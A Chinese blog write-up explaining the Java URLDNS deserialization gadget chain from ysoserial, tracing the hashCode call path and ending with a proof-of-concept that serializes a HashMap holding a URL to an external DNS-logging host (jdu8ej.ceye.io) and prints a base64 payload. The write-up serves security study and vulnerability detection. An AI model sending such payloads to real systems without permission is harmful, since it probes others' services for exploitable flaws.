URLDNS 是 ysoserial 中利用链的一个名字,通常用于检测是否存在 Java 反序列化漏洞。该利用链具有如下特点:

  • 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求
  • 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞
  • URLDNS 利用链,只能发起 DNS 请求,并不能进行其他利用

# URL.getHostAddress

image-20220530084731593

这里的 getByName 相当于 nslookup

看一下构造函数写个 demo

image-20220530084853319

查看一下哪里调用了这个函数

image-20220530091816420

# URLStreamHandler.getHostAddress

image-20220530104329907

找一下哪一个调用了这个函数

image-20220530104435822

# URLStreamHandler.hashcode

image-20220530104651138

但是这里是 protected ,找个 public 方法

# URL.hashcode

image-20220530104830421

并且在构造函数中有 handler 构造

image-20220530104954085

那么只需要设置一下入口为 hashmap即可

# poc

import java.io.*;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
import static marshalsec.gadgets.JDKUtil.makeMap;
public class demo {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://jdu8ej.ceye.io");
        HashMap map = makeMap(url,123);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();
        String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.println(payload);
    }
}

image-20220530105103257

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝